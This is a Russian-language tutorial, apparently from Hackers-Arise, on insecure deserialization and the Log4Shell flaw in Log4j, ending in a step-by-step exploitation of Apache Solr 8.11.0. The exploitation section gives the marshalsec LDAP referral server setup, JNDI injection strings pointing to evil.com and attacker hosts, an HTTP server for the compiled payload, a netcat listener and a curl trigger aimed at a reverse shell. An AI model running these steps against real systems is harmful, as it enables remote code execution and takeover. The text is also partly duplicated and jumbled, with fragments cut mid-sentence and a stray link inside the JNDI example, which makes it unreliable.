Добро пожаловать обратно, восходящие кибервоины!
Небезопасная десериализация представляет собой одну из наиболее критических уязвимостей безопасности современных программных приложений, входящую в список 10 основных рисков безопасности веб-приложений по версии OWASP (входит в раздел «Нарушения целостности программного обеспечения и данных»). Эта уязвимость возникает, когда приложения десериализуют ненадежные данные без надлежащей проверки, что потенциально позволяет злоумышленникам выполнить произвольный код, манипулировать логикой приложения или получить несанкционированный доступ к системе.
Уязвимость Apache Log4j (CVE-2021-44228), обнаруженная в декабре 2021 года, наглядно демонстрирует разрушительные последствия небезопасной десериализации. Эта уязвимость нулевого дня, известная как «Log4Shell», затронула миллионы приложений по всему миру, продемонстрировав, как, казалось бы, безобидная библиотека журналирования может стать площадкой для атак с целью удалённого выполнения кода.
В этой статье я хочу рассмотреть основные концепции сериализации и десериализации, рассмотреть механизмы, лежащие в основе небезопасных атак десериализации, и предоставить анализ того, как эти принципы проявились в уязвимости Log4j.
Ранняя эпоха (1990-е–2000-е годы):
В процессе сериализации переменные экземпляра объекта, информация о классе и метаданные кодируются в поток байтов или текстовый формат. Сериализованные данные содержат инструкции по восстановлению исходного объекта, включая определения классов, значения полей и связи между объектами.
Десериализация обращает процесс сериализации, восстанавливая объекты из их сериализованных представлений. Это включает в себя:
[th]Формат[/th][th]Тип[/th][th]Уровень безопасности[/th][th]Производительность[/th][th]Человекочитаемый[/th][th]Поддержка схем[/th]
[td]Java Native[/td][td]Двоичный[/td][td]Низкий[/td][td]Высокий[/td][td]Нет[/td][td]Скрытый[/td]
[td]Буферы протоколов[/td][td]Двоичный[/td][td]Высокий[/td][td]Очень высокий[/td][td]Нет[/td][td]Явный[/td]
[td]JSON[/td][td]Текст[/td][td]Середина[/td][td]Середина[/td][td]Да[/td][td]Необязательный[/td]
[td]XML[/td][td]Текст[/td][td]Середина[/td][td]Низкий[/td][td]Да[/td][td]DTD/XSD[/td]
[td]ЯМЛ[/td][td]Текст[/td][td]Низкий[/td][td]Середина[/td][td]Да[/td][td]Необязательный[/td]
[td]Апачи Авро[/td][td]Двоичный[/td][td]Высокий[/td][td]Высокий[/td][td]Нет[/td][td]Явный[/td]Собственная сериализация Java:
Хотя разные языки программирования могут использовать разные ключевые слова и функции для сериализации, базовый принцип остаётся неизменным. Будь то Java, Python, .NET или PHP, каждый язык реализует сериализацию для обеспечения определённых функций или мер безопасности, присущих его среде.
Сериализация в PHP включает преобразование структур данных или объектов в строковый формат для хранения или передачи, а затем их последующее восстановление. PHP использует встроенную
Сериализация в PHPPython осуществляет сериализацию в основном с помощью
[th]Язык[/th][th]Встроенная сериализация[/th][th]Общая настройка[/th][th]Поддержка JSON[/th]
[td]PHP[/td][td]
Log4j — это фреймворк журналирования на основе Java, широко используемый в корпоративных и облачных приложениях. Его основная функция — добавление событий, сообщений и контекста в журналы. С появлением функции поиска JNDI (Java Naming and Directory Interface) в Log4j 2 сообщения журнала могут ссылаться на внешние ресурсы, используя специальные шаблоны, такие как .
Когда Log4j обнаруживает такой поиск в сообщении журнала (например, если злоумышленник отправляет его в HTTP-запросе User-Agent или другом поле, которое регистрируется приложением), фреймворк выполняет поиск JNDI. Если указанный сервер находится под контролем злоумышленника, результатом может быть отправка вредоносного Java-кода, сериализованного в виде удалённых объектов или заглушек, обратно в приложение. Получив эти данные, JVM десериализует их, что потенциально запускает удалённое выполнение кода .
При классической небезопасной десериализации злоумышленник манипулирует сериализованными данными для внедрения вредоносных объектов или полезных данных. В Log4j цепочка эксплойтов работала следующим образом:
В этом примере я продемонстрирую уязвимость на Apache Solr 8.11.0, который является одним из примеров программного обеспечения, известного наличием этого уязвимого пакета Log4j.
Для начала проведите базовую разведку, чтобы определить, какие порты открыты в системе и что в данном случае работает на порту 8983.
Вот как это работает шаг за шагом:
Чтобы сделать все это, нам нужен работающий HTTP-сервер (на порту 8000 или аналогичном) для размещения и обслуживания этого кода.
Шаг 1: Установка Java
Первый шаг — получить сервер ссылок LDAP. Мы будем использовать утилиту marshalsec , доступную по адресу https://github.com/mbechler/marshalsec . Однако для её работы требуется установленная Java, рекомендуется версия 8.
Мы можем загрузить его из архива Oracle: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
Выполните следующие команды, чтобы настроить систему на использование этой версии Java по умолчанию:
Затем проверьте версию:
Шаг 2: Загрузите marshalsec
Самый простой подход — загрузить репозиторий с GitHub:
Далее нам необходимо собрать marshalsec с помощью Java Builder Maven:
После сборки утилиты marshalsec мы можем запустить сервер LDAP-рефералов для перенаправления подключений к нашему вторичному HTTP-серверу (который мы подготовим позже). Синтаксис запуска LDAP-сервера следующий:
Теперь, когда наш сервер LDAP готов и ждет, мы можем открыть второе окно терминала, чтобы подготовить нашу окончательную полезную нагрузку и настроить вторичный HTTP-сервер.
В конечном итоге уязвимость Log4j выполнит произвольный код, написанный вами на языке программирования Java. В этом примере мы получим обратное соединение (reverse shell) для получения контроля над целевой машиной.
Создайте новый файл с именем Exploit.java :
Далее нам необходимо скомпилировать эту полезную нагрузку с помощью:
Мы видим предупреждение (возможно, вы его не заметили). Оно появляется, потому что у меня установлено несколько версий Java. Тем не менее, файл Exploit.class был успешно создан.
Теперь, когда полезная нагрузка создана и скомпилирована, мы можем запустить временный HTTP-сервер.
Далее мы готовы подготовить прослушиватель Netcat:
Наконец, все, что осталось сделать, — это активировать эксплойт и запустить наш синтаксис JNDI:
И мы добились RCE!
Для тех, кто хочет улучшить свои навыки кибербезопасности, особенно в понимании и защите от сложных уязвимостей, таких как небезопасная десериализация, Hackers-Arise предлагает программы обучения под руководством экспертов. Попробуйте!
Небезопасная десериализация представляет собой одну из наиболее критических уязвимостей безопасности современных программных приложений, входящую в список 10 основных рисков безопасности веб-приложений по версии OWASP (входит в раздел «Нарушения целостности программного обеспечения и данных»). Эта уязвимость возникает, когда приложения десериализуют ненадежные данные без надлежащей проверки, что потенциально позволяет злоумышленникам выполнить произвольный код, манипулировать логикой приложения или получить несанкционированный доступ к системе.
Уязвимость Apache Log4j (CVE-2021-44228), обнаруженная в декабре 2021 года, наглядно демонстрирует разрушительные последствия небезопасной десериализации. Эта уязвимость нулевого дня, известная как «Log4Shell», затронула миллионы приложений по всему миру, продемонстрировав, как, казалось бы, безобидная библиотека журналирования может стать площадкой для атак с целью удалённого выполнения кода.
В этой статье я хочу рассмотреть основные концепции сериализации и десериализации, рассмотреть механизмы, лежащие в основе небезопасных атак десериализации, и предоставить анализ того, как эти принципы проявились в уязвимости Log4j.
Исторический контекст и хронология
Концепция сериализации была неотъемлемой частью вычислительной техники с первых дней существования распределённых систем. Однако со временем аспекты безопасности десериализации значительно изменились:Ранняя эпоха (1990-е–2000-е годы):
- Сериализация в основном используется для хранения данных и межпроцессного взаимодействия.
- Вопросы безопасности были минимальными, основное внимание уделялось целостности данных.
- Ограниченная осведомленность о десериализации как векторе атаки
- Появились первые задокументированные атаки десериализации
- Исследователи безопасности начали выявлять закономерности в уязвимых реализациях
- Такие языки, как Java, Python и .NET, оказались уязвимы к уязвимостям десериализации.
- Широкое внедрение сериализации в веб-приложениях и микросервисах
- OWASP признал небезопасную десериализацию главным риском безопасности
- Громкие уязвимости в популярных фреймворках и библиотеках
- 2013 : выпущен Log4j 2.0 с функцией поиска JNDI
- 2021 : Уязвимость раскрыта в частном порядке Apache Foundation
- 9 декабря 2021 г .: CVE-2021-44228 публично раскрыта
- 10 декабря 2021 г .: широко доступны экспериментальные эксплойты
- Декабрь 2021 г .: выпущено несколько патчей (2.15.0, 2.16.0, 2.17.0)
- Продолжается : Продолжение обнаружения связанных уязвимостей и методов обхода.
Понимание сериализации и десериализации
Сериализация — это процесс преобразования состояния объекта в формат, пригодный для последующего хранения, передачи или восстановления. Этот процесс позволяет приложениям:- Сохранение состояний объектов на диске или в базах данных
- Передача сложных структур данных по сетям
- Кэширование состояний приложения для оптимизации производительности
- Обеспечить межпроцессное взаимодействие в распределенных системах
Десериализация обращает процесс сериализации, восстанавливая объекты из их сериализованных представлений. Это включает в себя:
- Анализ данных : чтение и интерпретация сериализованного формата
- Загрузка классов : создание соответствующих классов объектов
- Реконструкция состояния : заполнение полей объекта десериализованными значениями
- Выполнение метода : потенциальный запуск методов конструктора или кода инициализации.
Распространенные форматы сериализации
Современные приложения используют различные форматы сериализации, каждый из которых имеет свои особенности и последствия для безопасности:- Использует встроенный механизм сериализации Java
- Создает двоичный вывод с метаданными класса
- Высокая уязвимость к атакам десериализации
- Распространено в корпоративных приложениях Java
- Независимый от языка формат сериализации Google
- Эффективное двоичное кодирование с определениями схем
- В целом безопаснее из-за строгой проверки схемы
- Требуются явные определения полей
- Система сериализации на основе схем
- Поддерживает эволюцию схемы и совместимость
- Двоичный формат с определениями схемы JSON
- Широко используется в экосистемах больших данных
- Формат текста, понятный человеку
- Обмен данными, не зависящий от языка
- Ограниченная поддержка типов объектов
- В целом безопаснее, но в определенных контекстах все еще уязвимы
- Структурированный язык разметки
- Поддерживает сложные иерархические данные
- Уязвим к атакам XML External Entity (XXE)
- Требует тщательного анализа для предотвращения проблем безопасности.
- Стандарт сериализации данных, понятный человеку
- Поддерживает сложные структуры данных
- Может выполнять произвольный код во время десериализации
- Требует тщательной настройки для обеспечения безопасности
Сериализация в PHP включает преобразование структур данных или объектов в строковый формат для хранения или передачи, а затем их последующее восстановление. PHP использует встроенную
serialize() функцию для создания этого строкового представления и unserialize() возврата к нему. Эти функции работают с массивами, объектами и скалярными типами, но не работают с ресурсами и некоторыми внутренними объектами. Сериализированные данные включают метаданные о типах и значениях, сохраняя состояние объектов, включая информацию о классах. PHP позволяет настраивать сериализацию в классах с помощью магических методов, таких как __serialize() и __unserialize(), которые рекомендуются с версии PHP 7.4, заменяя старые методы, такие как __sleep() и __wakeup().
Сериализация в PHP
pickle модуля , который может сериализовать практически любой объект Python, включая пользовательские классы, в двоичный формат; обратный процесс выполняется модулем pickle.load(). Для более простой или не зависящей от языка сериализации Python также предлагает json модуль , который преобразует строки JSON в словари и списки Python.serialize()/unserialize()[/td][td]Магические методы ( __sleep, __wakeup, __serialize, __unserialize)[/td][td]json_encode()/json_decode()[/td]
[td]Питон[/td][td]pickle.dump()/pickle.load()[/td][td]Пользовательские методы класса и сторонние библиотеки[/td][td]json.dumps() / json.loads()[/td]Дело Log4j
На этом этапе мы усвоили некоторые основы сериализации и готовы перейти к уязвимости Log4j.Log4j — это фреймворк журналирования на основе Java, широко используемый в корпоративных и облачных приложениях. Его основная функция — добавление событий, сообщений и контекста в журналы. С появлением функции поиска JNDI (Java Naming and Directory Interface) в Log4j 2 сообщения журнала могут ссылаться на внешние ресурсы, используя специальные шаблоны, такие как .
${jndi:[URL='https://enjoyrc.io/ldap://malicious-server/path'][SIZE=16px][COLOR=rgb(28, 136, 185)]ldap://server/path[/COLOR][/SIZE][/URL]}Когда Log4j обнаруживает такой поиск в сообщении журнала (например, если злоумышленник отправляет его в HTTP-запросе User-Agent или другом поле, которое регистрируется приложением), фреймворк выполняет поиск JNDI. Если указанный сервер находится под контролем злоумышленника, результатом может быть отправка вредоносного Java-кода, сериализованного в виде удалённых объектов или заглушек, обратно в приложение. Получив эти данные, JVM десериализует их, что потенциально запускает удалённое выполнение кода .
При классической небезопасной десериализации злоумышленник манипулирует сериализованными данными для внедрения вредоносных объектов или полезных данных. В Log4j цепочка эксплойтов работала следующим образом:
- Злоумышленник внедряется
${jndi:ldap://evil.com/a}в любой входной поток, зарегистрированный Log4j. - Log4j анализирует событие журнала и инициирует поиск JNDI.
- LDAP-сервер злоумышленника отвечает ссылкой на удаленный класс Java (сериализованный код).
- Приложение извлекает и загружает этот код, выполняя его, тем самым предоставляя злоумышленнику возможность выполнения произвольного кода.
Разведка
Опасность этой уязвимости обусловлена повсеместной распространённостью этого пакета логирования. Миллионы приложений, а также поставщики программного обеспечения используют Log4j в качестве зависимости в своём коде.В этом примере я продемонстрирую уязвимость на Apache Solr 8.11.0, который является одним из примеров программного обеспечения, известного наличием этого уязвимого пакета Log4j.
Для начала проведите базовую разведку, чтобы определить, какие порты открыты в системе и что в данном случае работает на порту 8983.
Эксплуатация
Мы воспользуемся бесплатным общедоступным инструментом для настройки так называемого «сервера переадресации LDAP». Задача этого сервера — принять первый запрос жертвы и отправить его куда-то ещё.Вот как это работает шаг за шагом:
- Система жертвы пытается подключиться, используя что-то вроде
${jndi:ldap://attackerserver:1389/Resource}этого — она связывается с нашим сервером LDAP Referral Server. - Затем сервер ссылок LDAP пересылает этот запрос в другое место, например
http://attackerserver/resource. - Система жертвы переходит ко второму месту и загружает оттуда код.
- Этот код запускается на компьютере жертвы.
Чтобы сделать все это, нам нужен работающий HTTP-сервер (на порту 8000 или аналогичном) для размещения и обслуживания этого кода.
Шаг 1: Установка Java
Первый шаг — получить сервер ссылок LDAP. Мы будем использовать утилиту marshalsec , доступную по адресу https://github.com/mbechler/marshalsec . Однако для её работы требуется установленная Java, рекомендуется версия 8.
Мы можем загрузить его из архива Oracle: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
[B]kali> sudo mkdir /usr/lib/jvm[/B]
Код:
[B]kali> cd /usr/lib/jvm[/B]
Код:
[B]kali> sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz[/B]
Код:
[B]kali> sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1[/B]
Код:
[B]kali> sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1[/B]
Код:
[B]kali> sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1[/B]
Код:
[B]kali> sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java[/B]
Код:
[B]kali> sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac[/B]
Код:
[B]kali> sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws[/B]
kali> java -version
Шаг 2: Загрузите marshalsec
Самый простой подход — загрузить репозиторий с GitHub:
kali> git clone [URL='https://github.com/mbechler/marshalsec'][SIZE=16px][COLOR=rgb(28, 136, 185)]https://github.com/mbechler/marshalsec[/COLOR][/SIZE][/URL][B]kali> cd marshalsec[/B]Далее нам необходимо собрать marshalsec с помощью Java Builder Maven:
[B]kali> sudo apt install maven[/B][B]kali> [/B][B]mvn clean package -DskipTests[/B]
После сборки утилиты marshalsec мы можем запустить сервер LDAP-рефералов для перенаправления подключений к нашему вторичному HTTP-серверу (который мы подготовим позже). Синтаксис запуска LDAP-сервера следующий:
kali> java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://IP:Port/#Exploit"
В конечном итоге уязвимость Log4j выполнит произвольный код, написанный вами на языке программирования Java. В этом примере мы получим обратное соединение (reverse shell) для получения контроля над целевой машиной.
Создайте новый файл с именем Exploit.java :
kali> javac Exploit.java -source 8 -target 8
Теперь, когда полезная нагрузка создана и скомпилирована, мы можем запустить временный HTTP-сервер.
kali> python3 -m http.server
kali> nc -lnvp port
kali> curl 'http://IP:8983/solr/admin/cores?foo=$\{jndi:ldap://IP:1389/Exploit\}'
Краткое содержание
Небезопасная десериализация — серьёзная и распространённая проблема современного программного обеспечения. Уязвимость Log4j «Log4Shell» показывает, как невнимательная проверка данных во время десериализации может привести к опасным атакам удалённого выполнения кода, затрагивающим многие системы по всему миру. Этот случай преподаёт нам важный урок: любая часть программного обеспечения, которая считывает, создаёт или запускает код из внешних входных данных, всегда должна быть тщательно проверена и защищена.Для тех, кто хочет улучшить свои навыки кибербезопасности, особенно в понимании и защите от сложных уязвимостей, таких как небезопасная десериализация, Hackers-Arise предлагает программы обучения под руководством экспертов. Попробуйте!